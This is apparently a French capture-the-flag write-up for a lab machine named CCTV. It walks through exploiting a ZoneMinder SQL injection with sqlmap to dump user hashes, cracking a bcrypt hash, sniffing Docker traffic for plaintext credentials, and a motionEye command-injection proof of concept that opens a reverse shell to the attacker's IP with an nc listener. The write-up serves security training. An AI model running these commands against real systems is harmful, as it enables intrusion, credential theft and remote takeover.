CCTV
Cette machine enchaîne une injection SQL sur un système de vidéosurveillance, une écoute de trafic Docker interne pour récupérer des credentials, et une RCE via une interface de gestion de caméras.
Données :
- Mon IP :
10.10.15.10 - IP cible :
10.129.14.106
Analyse et énumération
nmap -sV -R -v -oA scan 10.129.14.106
Je découvre deux ports ouverts : 22 (SSH) et 80 (HTTP). J'ajoute le domaine dans /etc/hosts :
10.129.14.106 cctv.htb
Le site expose une instance ZoneMinder, un système de vidéosurveillance open source. Je me connecte avec les credentials par défaut : admin:admin.
Exploitation — CVE-2024-51482 : SQL Injection ZoneMinder
La version détectée est v1.37.63, vulnérable au CVE-2024-51482 (CVSS : 9.9), une injection SQL authentifiée.
Je récupère mon cookie de session ZMSESSID depuis le navigateur et lance sqlmap pour énumérer les bases de données :
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch --dbs

Je cible ensuite la base zm, table Users, pour récupérer les noms d'utilisateurs :
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump

Trois comptes sont découverts : admin, mark, superadmin.
Je récupère le hash du mot de passe de mark :
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump

Le hash bcrypt récupéré :
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
Crack du hash — accès SSH
Je crack le hash avec John the Ripper :
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Le mot de passe est trouvé : opensesame.
Je me connecte en SSH :
ssh mark@cctv.htb
Pivot vers sa_mark — écoute du trafic Docker
Une fois dans la machine, mark n'a pas de droits sudo et le flag user.txt n'est pas dans son home. Je remarque un second utilisateur : sa_mark.
L'analyse réseau avec ifconfig révèle plusieurs interfaces Docker bridge (br-, veth), confirmant une stack containerisée. Je surveille le trafic sur ces interfaces :
tcpdump -i br-1b6b4b93c636 -nn -A
Le trafic interne expose des credentials en clair :
USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
Je pivote vers sa_mark :
su - sa_mark # Password: X1l9fx1ZjS7RZb
Je récupère le flag utilisateur.
Exploitation — CVE-2025-60787 : RCE motionEye
L'énumération des ports locaux révèle plusieurs services internes :
netstat -tulnp

Le port 8765 retient mon attention. Je le forwarde vers ma machine via SSH :
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
En accédant à http://localhost:8765, je découvre motionEye v0.43.1b4, une interface de gestion de caméras IP.
Cette version est vulnérable au CVE-2025-60787, une command injection dans les champs de configuration — les valeurs sont écrites directement dans les fichiers de config de Motion sans sanitisation, et exécutées au redémarrage du processus.
Je me connecte avec admin:X1l9fx1ZjS7RZb (credentials récupérés via tcpdump) et lance le PoC :
# Listener nc -lvnp 4444 # Exploit python3 CVE-2025-60787.py revshell \ --url 'http://127.0.0.1:8765' \ --user 'admin' \ --password 'X1l9fx1ZjS7RZb' \ -i 10.10.15.10 \ --port 4444

J'obtiens un reverse shell en tant que root et récupère le flag root.